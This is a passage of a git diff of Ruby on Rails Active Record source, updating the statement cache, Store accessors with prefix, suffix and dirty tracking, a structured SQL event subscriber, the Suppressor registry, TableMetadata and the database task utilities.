+      attr_accessor :preparable, :retryable
+
+      def initialize
+        @parts = []
+        @binds = []
+      end
+
+      def <<(str)
+        @parts << str
+        self
+      end
+
+      def add_bind(obj, &)
+        @binds << obj
+        @parts << Substitute.new
+        self
+      end
+
+      def add_binds(binds, proc_for_binds = nil, &)
+        @binds.concat proc_for_binds ? binds.map(&proc_for_binds) : binds
+        binds.size.times do |i|
+          @parts << ", " unless i == 0
+          @parts << Substitute.new
+        end
+        self
+      end
+
+      def value
+        [@parts, @binds]
+      end
     end
 
-    def self.partial_query(values)
-      PartialQuery.new(values)
+    def self.query(...)
+      Query.new(...)
+    end
+
+    def self.partial_query(...)
+      PartialQuery.new(...)
+    end
+
+    def self.partial_query_collector
+      PartialQueryCollector.new
     end
 
     class Params # :nodoc:
@@ -72,7 +120,7 @@ def initialize(bound_attributes)
         @bound_attributes = bound_attributes
 
         bound_attributes.each_with_index do |attr, i|
-          if Substitute === attr.value
+          if ActiveModel::Attribute === attr && Substitute === attr.value
             @indexes << i
           end
         end
@@ -85,27 +133,36 @@ def bind(values)
       end
     end
 
-    attr_reader :bind_map, :query_builder
-
-    def self.create(connection, block = Proc.new)
-      relation      = block.call Params.new
-      bind_map      = BindMap.new relation.bound_attributes
-      query_builder = connection.cacheable_query(self, relation.arel)
-      new query_builder, bind_map
+    def self.create(connection, callable = nil, &block)
+      relation = (callable || block).call Params.new
+      query_builder, binds = connection.cacheable_query(self, relation.arel)
+      bind_map = BindMap.new(binds)
+      new(query_builder, bind_map, relation.model)
     end
 
-    def initialize(query_builder, bind_map)
+    def initialize(query_builder, bind_map, model)
       @query_builder = query_builder
-      @bind_map      = bind_map
+      @bind_map = bind_map
+      @model = model
     end
 
-    def execute(params, klass, connection, &block)
-      bind_values = bind_map.bind params
+    def execute(params, connection, async: false, &block)
+      bind_values = @bind_map.bind params
+      sql = @query_builder.sql_for bind_values, connection
 
-      sql = query_builder.sql_for bind_values, connection
+      if async
+        @model.async_find_by_sql(sql, bind_values, preparable: true, allow_retry: @query_builder.retryable, &block)
+      else
+        @model.find_by_sql(sql, bind_values, preparable: true, allow_retry: @query_builder.retryable, &block)
+      end
+    rescue ::RangeError
+      async ? Promise.wrap([]) : []
+    end
 
-      klass.find_by_sql(sql, bind_values, preparable: true, &block)
+    def self.unsupported_value?(value)
+      case value
+      when NilClass, Array, Range, Hash, Relation, Base then true
+      end
     end
-    alias :call :execute
   end
 end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index 006afe7495bb0..31d4214f31b3a 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/indifferent_access"
 
 module ActiveRecord
+  # = Active Record \Store
+  #
   # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column.
   # It's like a simple key/value store baked into your record when you don't care about being able to
   # query that store outside the context of a single record.
@@ -9,14 +13,20 @@ module ActiveRecord
   # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's
   # already built around just accessing attributes on the model.
   #
+  # Every accessor comes with dirty tracking methods (+key_changed?+, +key_was+ and +key_change+) and
+  # methods to access the changes made during the last save (+saved_change_to_key?+, +saved_change_to_key+ and
+  # +key_before_last_save+).
+  #
+  # NOTE: There is no +key_will_change!+ method for accessors, use +store_will_change!+ instead.
+  #
   # Make sure that you declare the database column used for the serialized store as a text, so there's
   # plenty of room.
   #
   # You can set custom coder to encode/decode your serialized attributes to/from different formats.
   # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
   #
-  # NOTE: If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
-  # the serialization provided by {.store}[rdoc-ref:rdoc-ref:ClassMethods#store].
+  # NOTE: If you are using structured database data types (e.g. PostgreSQL +hstore+/+json+, MySQL 5.7+
+  # +json+, or SQLite 3.38+ +json+) there is no need for the serialization provided by {.store}[rdoc-ref:rdoc-ref:ClassMethods#store].
   # Simply use {.store_accessor}[rdoc-ref:ClassMethods#store_accessor] instead to generate
   # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
   # using a symbol.
@@ -29,24 +39,40 @@ module ActiveRecord
   #
   #   class User < ActiveRecord::Base
   #     store :settings, accessors: [ :color, :homepage ], coder: JSON
+  #     store :parent, accessors: [ :name ], coder: JSON, prefix: true
+  #     store :spouse, accessors: [ :name ], coder: JSON, prefix: :partner
+  #     store :settings, accessors: [ :two_factor_auth ], suffix: true
+  #     store :settings, accessors: [ :login_retry ], suffix: :config
   #   end
   #
-  #   u = User.new(color: 'black', homepage: '37signals.com')
+  #   u = User.new(color: 'black', homepage: '37signals.com', parent_name: 'Mary', partner_name: 'Lily')
   #   u.color                          # Accessor stored attribute
+  #   u.parent_name                    # Accessor stored attribute with prefix
+  #   u.partner_name                   # Accessor stored attribute with custom prefix
+  #   u.two_factor_auth_settings       # Accessor stored attribute with suffix
+  #   u.login_retry_config             # Accessor stored attribute with custom suffix
   #   u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
   #
   #   # There is no difference between strings and symbols for accessing custom attributes
   #   u.settings[:country]  # => 'Denmark'
   #   u.settings['country'] # => 'Denmark'
   #
+  #   # Dirty tracking
+  #   u.color = 'green'
+  #   u.color_changed? # => true
+  #   u.color_was # => 'black'
+  #   u.color_change # => ['black', 'green']
+  #
   #   # Add additional accessors to an existing store through store_accessor
   #   class SuperUser < User
   #     store_accessor :settings, :privileges, :servants
+  #     store_accessor :parent, :birthday, prefix: true
+  #     store_accessor :settings, :secret_question, suffix: :config
   #   end
   #
   # The stored attribute names can be retrieved using {.stored_attributes}[rdoc-ref:rdoc-ref:ClassMethods#stored_attributes].
   #
-  #   User.stored_attributes[:settings] # [:color, :homepage]
+  #   User.stored_attributes[:settings] # => [:color, :homepage, :two_factor_auth, :login_retry]
   #
   # == Overwriting default accessors
   #
@@ -78,22 +104,86 @@ class << self
 
     module ClassMethods
       def store(store_attribute, options = {})
-        serialize store_attribute, IndifferentCoder.new(store_attribute, options[:coder])
-        store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors
+        coder = build_column_serializer(store_attribute, options[:coder], Object, options[:yaml])
+        serialize store_attribute, coder: IndifferentCoder.new(store_attribute, coder)
+        store_accessor(store_attribute, options[:accessors], **options.slice(:prefix, :suffix)) if options.has_key? :accessors
       end
 
-      def store_accessor(store_attribute, *keys)
+      def store_accessor(store_attribute, *keys, prefix: nil, suffix: nil)
         keys = keys.flatten
 
+        accessor_prefix =
+          case prefix
+          when String, Symbol
+            "#{prefix}_"
+          when TrueClass
+            "#{store_attribute}_"
+          else
+            ""
+          end
+        accessor_suffix =
+          case suffix
+          when String, Symbol
+            "_#{suffix}"
+          when TrueClass
+            "_#{store_attribute}"
+          else
+            ""
+          end
+
         _store_accessors_module.module_eval do
           keys.each do |key|
-            define_method("#{key}=") do |value|
+            accessor_key = "#{accessor_prefix}#{key}#{accessor_suffix}"
+
+            define_method("#{accessor_key}=") do |value|
               write_store_attribute(store_attribute, key, value)
             end
 
-            define_method(key) do
+            define_method(accessor_key) do
               read_store_attribute(store_attribute, key)
             end
+
+            define_method("#{accessor_key}_changed?") do
+              return false unless attribute_changed?(store_attribute)
+              prev_store, new_store = changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              accessor.get(prev_store, key) != accessor.get(new_store, key)
+            end
+
+            define_method("#{accessor_key}_change") do
+              return unless attribute_changed?(store_attribute)
+              prev_store, new_store = changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              [accessor.get(prev_store, key), accessor.get(new_store, key)]
+            end
+
+            define_method("#{accessor_key}_was") do
+              return unless attribute_changed?(store_attribute)
+              prev_store, _new_store = changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              accessor.get(prev_store, key)
+            end
+
+            define_method("saved_change_to_#{accessor_key}?") do
+              return false unless saved_change_to_attribute?(store_attribute)
+              prev_store, new_store = saved_changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              accessor.get(prev_store, key) != accessor.get(new_store, key)
+            end
+
+            define_method("saved_change_to_#{accessor_key}") do
+              return unless saved_change_to_attribute?(store_attribute)
+              prev_store, new_store = saved_changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              [accessor.get(prev_store, key), accessor.get(new_store, key)]
+            end
+
+            define_method("#{accessor_key}_before_last_save") do
+              return unless saved_change_to_attribute?(store_attribute)
+              prev_store, _new_store = saved_changes[store_attribute]
+              accessor = store_accessor_for(store_attribute)
+              accessor.get(prev_store, key)
+            end
           end
         end
 
@@ -133,46 +223,66 @@ def write_store_attribute(store_attribute, key, value) # :doc:
       end
 
       def store_accessor_for(store_attribute)
-        type_for_attribute(store_attribute.to_s).accessor
+        type_for_attribute(store_attribute).tap do |type|
+          unless type.respond_to?(:accessor)
+            raise ConfigurationError, "the column '#{store_attribute}' has not been configured as a store. Please make sure the column is declared serializable via 'ActiveRecord.store' or, if your database supports it, use a structured column type like hstore or json."
+          end
+        end.accessor
       end
 
       class HashAccessor # :nodoc:
+        def self.get(store_object, key)
+          if store_object
+            store_object[key]
+          end
+        end
+
         def self.read(object, attribute, key)
-          prepare(object, attribute)
-          object.public_send(attribute)[key]
+          store_object = prepare(object, attribute)
+          store_object[key]
         end
 
         def self.write(object, attribute, key, value)
-          prepare(object, attribute)
-          if value != read(object, attribute, key)
-            object.public_send :"#{attribute}_will_change!"
-            object.public_send(attribute)[key] = value
-          end
+          store_object = prepare(object, attribute)
+          store_object[key] = value if value != store_object[key]
         end
 
         def self.prepare(object, attribute)
-          object.public_send :"#{attribute}=", {} unless object.send(attribute)
+          store_object = object.public_send(attribute)
+
+          if store_object.nil?
+            store_object = {}
+            object.public_send(:"#{attribute}=", store_object)
+          end
+
+          store_object
         end
       end
 
       class StringKeyedHashAccessor < HashAccessor # :nodoc:
+        def self.get(store_object, key)
+          super store_object, Symbol === key ? key.name : key.to_s
+        end
+
         def self.read(object, attribute, key)
-          super object, attribute, key.to_s
+          super object, attribute, Symbol === key ? key.name : key.to_s
         end
 
         def self.write(object, attribute, key, value)
-          super object, attribute, key.to_s, value
+          super object, attribute, Symbol === key ? key.name : key.to_s, value
         end
       end
 
       class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor # :nodoc:
-        def self.prepare(object, store_attribute)
-          attribute = object.send(store_attribute)
-          unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
-            attribute = IndifferentCoder.as_indifferent_hash(attribute)
-            object.send :"#{store_attribute}=", attribute
+        def self.prepare(object, attribute)
+          store_object = object.public_send(attribute)
+
+          unless store_object.is_a?(ActiveSupport::HashWithIndifferentAccess)
+            store_object = IndifferentCoder.as_indifferent_hash(store_object)
+            object.public_send :"#{attribute}=", store_object
           end
-          attribute
+
+          store_object
         end
       end
 
@@ -187,7 +297,7 @@ def initialize(attr_name, coder_or_class_name)
         end
 
         def dump(obj)
-          @coder.dump self.class.as_indifferent_hash(obj)
+          @coder.dump as_regular_hash(obj)
         end
 
         def load(yaml)
@@ -204,6 +314,11 @@ def self.as_indifferent_hash(obj)
             ActiveSupport::HashWithIndifferentAccess.new
           end
         end
+
+        private
+          def as_regular_hash(obj)
+            obj.respond_to?(:to_hash) ? obj.to_hash : {}
+          end
       end
   end
 end
diff --git a/activerecord/lib/active_record/structured_event_subscriber.rb b/activerecord/lib/active_record/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..f8e027424b92a
--- /dev/null
+++ b/activerecord/lib/active_record/structured_event_subscriber.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module ActiveRecord
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    IGNORE_PAYLOAD_NAMES = ["SCHEMA", "EXPLAIN"]
+
+    def strict_loading_violation(event)
+      owner = event.payload[:owner]
+      reflection = event.payload[:reflection]
+
+      emit_debug_event("active_record.strict_loading_violation",
+        owner: owner.name,
+        class: reflection.polymorphic? ? nil : reflection.klass.name,
+        name: reflection.name,
+      )
+    end
+    debug_only :strict_loading_violation
+
+    def sql(event)
+      payload = event.payload
+
+      return if IGNORE_PAYLOAD_NAMES.include?(payload[:name])
+
+      binds = nil
+
+      if payload[:binds]&.any?
+        casted_params = type_casted_binds(payload[:type_casted_binds])
+
+        binds = []
+        payload[:binds].each_with_index do |attr, i|
+          attribute_name = if attr.respond_to?(:name)
+            attr.name
+          elsif attr.respond_to?(:[]) && attr[i].respond_to?(:name)
+            attr[i].name
+          else
+            nil
+          end
+
+          filtered_params = filter(attribute_name, casted_params[i])
+
+          binds << render_bind(attr, filtered_params)
+        end
+      end
+
+      emit_debug_event("active_record.sql",
+        async: payload[:async],
+        name: payload[:name],
+        sql: payload[:sql],
+        cached: payload[:cached],
+        lock_wait: payload[:lock_wait],
+        binds: binds,
+        duration_ms: event.duration.round(2),
+      )
+    end
+    debug_only :sql
+
+    private
+      def type_casted_binds(casted_binds)
+        casted_binds.respond_to?(:call) ? casted_binds.call : casted_binds
+      end
+
+      def render_bind(attr, value)
+        case attr
+        when ActiveModel::Attribute
+          if attr.type.binary? && attr.value
+            value = "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+          end
+        when Array
+          attr = attr.first
+        else
+          attr = nil
+        end
+
+        [attr&.name, value]
+      end
+
+      def filter(name, value)
+        ActiveRecord::Base.inspection_filter.filter_param(name, value)
+      end
+  end
+end
+
+ActiveRecord::StructuredEventSubscriber.attach_to :active_record
diff --git a/activerecord/lib/active_record/suppressor.rb b/activerecord/lib/active_record/suppressor.rb
index d9acb1a1dc97b..94353dc22c070 100644
--- a/activerecord/lib/active_record/suppressor.rb
+++ b/activerecord/lib/active_record/suppressor.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveRecord
+  # = Active Record \Suppressor
+  #
   # ActiveRecord::Suppressor prevents the receiver from being saved during
   # a given block.
   #
@@ -28,32 +32,28 @@ module ActiveRecord
   module Suppressor
     extend ActiveSupport::Concern
 
+    class << self
+      def registry # :nodoc:
+        ActiveSupport::IsolatedExecutionState[:active_record_suppressor_registry] ||= {}
+      end
+    end
+
     module ClassMethods
       def suppress(&block)
-        previous_state = SuppressorRegistry.suppressed[name]
-        SuppressorRegistry.suppressed[name] = true
+        previous_state = Suppressor.registry[name]
+        Suppressor.registry[name] = true
         yield
       ensure
-        SuppressorRegistry.suppressed[name] = previous_state
+        Suppressor.registry[name] = previous_state
       end
     end
 
-    def save(*) # :nodoc:
-      SuppressorRegistry.suppressed[self.class.name] ? true : super
+    def save(**) # :nodoc:
+      Suppressor.registry[self.class.name] ? true : super
     end
 
-    def save!(*) # :nodoc:
-      SuppressorRegistry.suppressed[self.class.name] ? true : super
-    end
-  end
-
-  class SuppressorRegistry # :nodoc:
-    extend ActiveSupport::PerThreadRegistry
-
-    attr_reader :suppressed
-
-    def initialize
-      @suppressed = {}
+    def save!(**) # :nodoc:
+      Suppressor.registry[self.class.name] ? true : super
     end
   end
 end
diff --git a/activerecord/lib/active_record/table_metadata.rb b/activerecord/lib/active_record/table_metadata.rb
index 71efc1829ad5d..0be4aa71968c3 100644
--- a/activerecord/lib/active_record/table_metadata.rb
+++ b/activerecord/lib/active_record/table_metadata.rb
@@ -1,73 +1,68 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   class TableMetadata # :nodoc:
-    delegate :foreign_type, :foreign_key, to: :association, prefix: true
-    delegate :association_primary_key, to: :association
-
-    def initialize(klass, arel_table, association = nil)
+    def initialize(klass, arel_table)
       @klass = klass
       @arel_table = arel_table
-      @association = association
-    end
-
-    def resolve_column_aliases(hash)
-      new_hash = hash.dup
-      hash.each do |key, _|
-        if (key.is_a?(Symbol)) && klass.attribute_alias?(key)
-          new_hash[klass.attribute_alias(key)] = new_hash.delete(key)
-        end
-      end
-      new_hash
     end
 
-    def arel_attribute(column_name)
-      if klass
-        klass.arel_attribute(column_name, arel_table)
-      else
-        arel_table[column_name]
-      end
+    def primary_key
+      klass&.primary_key
     end
 
     def type(column_name)
-      if klass
-        klass.type_for_attribute(column_name.to_s)
-      else
-        Type.default_value
-      end
+      arel_table.type_for_attribute(column_name)
     end
 
     def has_column?(column_name)
-      klass && klass.columns_hash.key?(column_name.to_s)
+      klass&.columns_hash&.key?(column_name)
     end
 
-    def associated_with?(association_name)
-      klass && klass._reflect_on_association(association_name)
+    def associated_with(table_name)
+      klass&._reflect_on_association(table_name)
     end
 
     def associated_table(table_name)
-      association = klass._reflect_on_association(table_name) || klass._reflect_on_association(table_name.to_s.singularize)
+      reflection = klass._reflect_on_association(table_name) || klass._reflect_on_association(table_name.singularize)
 
-      if !association && table_name == arel_table.name
+      if !reflection && table_name == arel_table.name
         return self
-      elsif association && !association.polymorphic?
-        association_klass = association.klass
-        arel_table = association_klass.arel_table.alias(table_name)
+      end
+
+      if reflection
+        association_klass = reflection.klass unless reflection.polymorphic?
+      elsif block_given?
+        association_klass = yield table_name
+      end
+
+      if association_klass
+        arel_table = association_klass.arel_table
+        arel_table = arel_table.alias(table_name) if arel_table.name != table_name
+        TableMetadata.new(association_klass, arel_table)
       else
         type_caster = TypeCaster::Connection.new(klass, table_name)
-        association_klass = nil
         arel_table = Arel::Table.new(table_name, type_caster: type_caster)
+        TableMetadata.new(nil, arel_table)
       end
+    end
 
-      TableMetadata.new(association_klass, arel_table, association)
+    def reflect_on_aggregation(aggregation_name)
+      klass&.reflect_on_aggregation(aggregation_name)
     end
+    alias :aggregated_with? :reflect_on_aggregation
 
-    def polymorphic_association?
-      association && association.polymorphic?
+    def predicate_builder
+      if klass
+        klass.predicate_builder.with(self)
+      else
+        PredicateBuilder.new(self)
+      end
     end
 
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
+    attr_reader :arel_table
 
-      attr_reader :klass, :arel_table, :association
+    private
+      attr_reader :klass
   end
 end
diff --git a/activerecord/lib/active_record/tasks/abstract_tasks.rb b/activerecord/lib/active_record/tasks/abstract_tasks.rb
new file mode 100644
index 0000000000000..590f3f5f4d400
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/abstract_tasks.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class AbstractTasks # :nodoc:
+      def self.using_database_configurations?
+        true
+      end
+
+      def initialize(db_config)
+        @db_config = db_config
+        @configuration_hash = db_config.configuration_hash
+      end
+
+      def charset
+        connection.encoding
+      end
+
+      def collation
+        connection.collation
+      end
+
+      def check_current_protected_environment!(db_config, migration_class)
+        with_temporary_pool(db_config, migration_class) do |pool|
+          migration_context = pool.migration_context
+          current = migration_context.current_environment
+          stored  = migration_context.last_stored_environment
+
+          if migration_context.protected_environment?
+            raise ActiveRecord::ProtectedEnvironmentError.new(stored)
+          end
+
+          if stored && stored != current
+            raise ActiveRecord::EnvironmentMismatchError.new(current: current, stored: stored)
+          end
+        rescue ActiveRecord::NoDatabaseError
+        end
+      end
+
+      private
+        attr_reader :db_config, :configuration_hash
+
+        def connection
+          ActiveRecord::Base.lease_connection
+        end
+
+        def establish_connection(config = db_config)
+          ActiveRecord::Base.establish_connection(config)
+        end
+
+        def configuration_hash_without_database
+          configuration_hash.merge(database: nil)
+        end
+
+        def run_cmd(cmd, *args, **opts)
+          fail run_cmd_error(cmd, args) unless Kernel.system(cmd, *args, opts)
+        end
+
+        def run_cmd_error(cmd, args)
+          msg = +"failed to execute:\n"
+          msg << "#{cmd} #{args.join(' ')}\n\n"
+          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
+          msg
+        end
+
+        def with_temporary_pool(db_config, migration_class, clobber: false)
+          original_db_config = migration_class.connection_db_config
+          pool = migration_class.connection_handler.establish_connection(db_config, clobber: clobber)
+
+          yield pool
+        ensure
+          migration_class.connection_handler.establish_connection(original_db_config, clobber: clobber)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index 82604a915fbb0..0f464dbae3b16 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -1,16 +1,21 @@
+# frozen_string_literal: true
+
+require "active_record/database_configurations"
+
 module ActiveRecord
   module Tasks # :nodoc:
-    class DatabaseAlreadyExists < StandardError; end # :nodoc:
     class DatabaseNotSupported < StandardError; end # :nodoc:
 
+    # = Active Record \DatabaseTasks
+    #
     # ActiveRecord::Tasks::DatabaseTasks is a utility class, which encapsulates
     # logic behind common tasks used to manage database and migrations.
     #
-    # The tasks defined here are used with Rake tasks provided by Active Record.
+    # The tasks defined here are used with \Rails commands provided by Active Record.
     #
     # In order to use DatabaseTasks, a few config values need to be set. All the needed
-    # config values are set by Rails already, so it's necessary to do it only if you
-    # want to change the defaults or when you want to use Active Record outside of Rails
+    # config values are set by \Rails already, so it's necessary to do it only if you
+    # want to change the defaults or when you want to use Active Record outside of \Rails
     # (in such case after configuring the database tasks, you can also use the rake tasks
     # defined in Active Record).
     #
@@ -24,7 +29,7 @@ class DatabaseNotSupported < StandardError; end # :nodoc:
     # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
     # * +root+: a path to the root of the application.
     #
-    # Example usage of DatabaseTasks outside Rails could look as such:
+    # Example usage of DatabaseTasks outside \Rails could look as such:
     #
     #   include ActiveRecord::Tasks
     #   DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
@@ -35,35 +40,34 @@ class DatabaseNotSupported < StandardError; end # :nodoc:
     module DatabaseTasks
       ##
       # :singleton-method:
-      # Extra flags passed to database CLI tool (mysqldump/pg_dump) when calling db:structure:dump
+      # Extra flags passed to database CLI tool (mysqldump/pg_dump) when calling db:schema:dump
+      # It can be used as a string/array (the typical case) or a hash (when you use multiple adapters)
+      # Example:
+      #   ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = {
+      #     mysql2: ['--no-defaults', '--skip-add-drop-table'],
+      #     postgresql: '--no-tablespaces'
+      #   }
       mattr_accessor :structure_dump_flags, instance_accessor: false
 
       ##
       # :singleton-method:
-      # Extra flags passed to database CLI tool when calling db:structure:load
+      # Extra flags passed to database CLI tool when calling db:schema:load
+      # It can be used as a string/array (the typical case) or a hash (when you use multiple adapters)
       mattr_accessor :structure_load_flags, instance_accessor: false
 
       extend self
 
-      attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+      attr_writer :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
       attr_accessor :database_configuration
 
       LOCAL_HOSTS = ["127.0.0.1", "localhost"]
 
-      def check_protected_environments!
-        unless ENV["DISABLE_DATABASE_ENVIRONMENT_CHECK"]
-          current = ActiveRecord::Migrator.current_environment
-          stored  = ActiveRecord::Migrator.last_stored_environment
+      def check_protected_environments!(environment = env)
+        return if ENV["DISABLE_DATABASE_ENVIRONMENT_CHECK"]
 
-          if ActiveRecord::Migrator.protected_environment?
-            raise ActiveRecord::ProtectedEnvironmentError.new(stored)
-          end
-
-          if stored && stored != current
-            raise ActiveRecord::EnvironmentMismatchError.new(current: current, stored: stored)
-          end
+        configs_for(env_name: environment).each do |db_config|
+          database_adapter_for(db_config).check_current_protected_environment!(db_config, migration_class)
         end
-      rescue ActiveRecord::NoDatabaseError
       end
 
       def register_task(pattern, task)
@@ -71,9 +75,10 @@ def register_task(pattern, task)
         @tasks[pattern] = task
       end
 
-      register_task(/mysql/,        ActiveRecord::Tasks::MySQLDatabaseTasks)
-      register_task(/postgresql/,   ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
-      register_task(/sqlite/,       ActiveRecord::Tasks::SQLiteDatabaseTasks)
+      register_task(/mysql/,        "ActiveRecord::Tasks::MySQLDatabaseTasks")
+      register_task(/trilogy/,      "ActiveRecord::Tasks::MySQLDatabaseTasks")
+      register_task(/postgresql/,   "ActiveRecord::Tasks::PostgreSQLDatabaseTasks")
+      register_task(/sqlite/,       "ActiveRecord::Tasks::SQLiteDatabaseTasks")
 
       def db_dir
         @db_dir ||= Rails.application.config.paths["db"].first
@@ -99,166 +104,408 @@ def env
         @env ||= Rails.env
       end
 
-      def seed_loader
-        @seed_loader ||= Rails.application
+      def name
+        @name ||= "primary"
       end
 
-      def current_config(options = {})
-        options.reverse_merge! env: env
-        if options.has_key?(:config)
-          @current_config = options[:config]
-        else
-          @current_config ||= ActiveRecord::Base.configurations[options[:env]]
-        end
+      def seed_loader
+        @seed_loader ||= Rails.application
       end
 
-      def create(*arguments)
-        configuration = arguments.first
-        class_for_adapter(configuration["adapter"]).new(*arguments).create
-        $stdout.puts "Created database '#{configuration['database']}'"
+      def create(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).create
+        $stdout.puts "Created database '#{db_config.database}'" if verbose?
       rescue DatabaseAlreadyExists
-        $stderr.puts "Database '#{configuration['database']}' already exists"
+        $stderr.puts "Database '#{db_config.database}' already exists" if verbose?
       rescue Exception => error
         $stderr.puts error
-        $stderr.puts "Couldn't create database for #{configuration.inspect}"
+        $stderr.puts "Couldn't create '#{db_config.database}' database. Please check your configuration."
         raise
       end
 
       def create_all
-        old_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(ActiveRecord::Base.connection_specification_name)
-        each_local_configuration { |configuration| create configuration }
-        if old_pool
-          ActiveRecord::Base.connection_handler.establish_connection(old_pool.spec.to_hash)
+        db_config = migration_connection.pool.db_config
+
+        each_local_configuration { |db_config| create(db_config) }
+
+        migration_class.establish_connection(db_config)
+      end
+
+      def setup_initial_database_yaml # :nodoc:
+        return {} unless defined?(Rails)
+
+        Rails.application.config.load_database_yaml
+      end
+
+      def for_each(databases) # :nodoc:
+        return {} unless defined?(Rails)
+
+        database_configs = ActiveRecord::DatabaseConfigurations.new(databases).configs_for(env_name: Rails.env)
+
+        # if this is a single database application we don't want tasks for each primary database
+        return if database_configs.count == 1
+
+        database_configs.each do |db_config|
+          yield db_config.name
         end
       end
 
-      def create_current(environment = env)
-        each_current_configuration(environment) { |configuration|
-          create configuration
-        }
-        ActiveRecord::Base.establish_connection(environment.to_sym)
+      def raise_for_multi_db(environment = env, command:) # :nodoc:
+        db_configs = configs_for(env_name: environment)
+
+        if db_configs.count > 1
+          dbs_list = []
+
+          db_configs.each do |db|
+            dbs_list << "#{command}:#{db.name}"
+          end
+
+          raise "You're using a multiple database application. To use `#{command}` you must run the namespaced task with a VERSION. Available tasks are #{dbs_list.to_sentence}."
+        end
       end
 
-      def drop(*arguments)
-        configuration = arguments.first
-        class_for_adapter(configuration["adapter"]).new(*arguments).drop
-        $stdout.puts "Dropped database '#{configuration['database']}'"
+      def create_current(environment = env, name = nil)
+        each_current_configuration(environment, name) { |db_config| create(db_config) }
+
+        migration_class.establish_connection(environment.to_sym)
+      end
+
+      def prepare_all
+        seed = false
+        dump_db_configs = []
+
+        each_current_configuration(env) do |db_config|
+          database_initialized = initialize_database(db_config)
+
+          seed = true if database_initialized && db_config.seeds?
+        end
+
+        each_current_environment(env) do |environment|
+          db_configs_with_versions(environment).sort.each do |version, db_configs|
+            dump_db_configs |= db_configs
+
+            db_configs.each do |db_config|
+              with_temporary_pool(db_config) do
+                migrate(version)
+              end
+            end
+          end
+        end
+
+        # Dump schema for databases that were migrated.
+        if ActiveRecord.dump_schema_after_migration
+          dump_db_configs.each do |db_config|
+            with_temporary_pool(db_config) do
+              dump_schema(db_config)
+            end
+          end
+        end
+
+        load_seed if seed
+      end
+
+      def drop(configuration, *arguments)
+        db_config = resolve_configuration(configuration)
+        database_adapter_for(db_config, *arguments).drop
+        $stdout.puts "Dropped database '#{db_config.database}'" if verbose?
       rescue ActiveRecord::NoDatabaseError
-        $stderr.puts "Database '#{configuration['database']}' does not exist"
+        $stderr.puts "Database '#{db_config.database}' does not exist"
       rescue Exception => error
         $stderr.puts error
-        $stderr.puts "Couldn't drop database '#{configuration['database']}'"
+        $stderr.puts "Couldn't drop database '#{db_config.database}'"
         raise
       end
 
       def drop_all
-        each_local_configuration { |configuration| drop configuration }
+        each_local_configuration { |db_config| drop(db_config) }
       end
 
       def drop_current(environment = env)
-        each_current_configuration(environment) { |configuration|
-          drop configuration
-        }
+        each_current_configuration(environment) { |db_config| drop(db_config) }
+      end
+
+      def empty_all_tables(db_config)
+        with_temporary_connection(db_config) do |conn|
+          conn.empty_all_tables
+        end
+      end
+      private :empty_all_tables
+
+      def truncate_tables(db_config)
+        with_temporary_connection(db_config) do |conn|
+          conn.truncate_tables(*conn.tables)
+        end
+      end
+      private :truncate_tables
+
+      def truncate_all(environment = env)
+        configs_for(env_name: environment).each do |db_config|
+          truncate_tables(db_config)
+        end
       end
 
-      def migrate
-        verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-        version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
-        scope   = ENV["SCOPE"]
-        verbose_was, Migration.verbose = Migration.verbose, verbose
-        Migrator.migrate(migrations_paths, version) do |migration|
-          scope.blank? || scope == migration.scope
+      def migrate_all
+        db_configs = ActiveRecord::Base.configurations.configs_for(env_name: ActiveRecord::Tasks::DatabaseTasks.env)
+        db_configs.each { |db_config| initialize_database(db_config) }
+
+        if db_configs.size == 1 && db_configs.first.primary?
+          ActiveRecord::Tasks::DatabaseTasks.migrate(skip_initialize: true)
+        else
+          mapped_versions = ActiveRecord::Tasks::DatabaseTasks.db_configs_with_versions
+
+          mapped_versions.sort.each do |version, db_configs|
+            db_configs.each do |db_config|
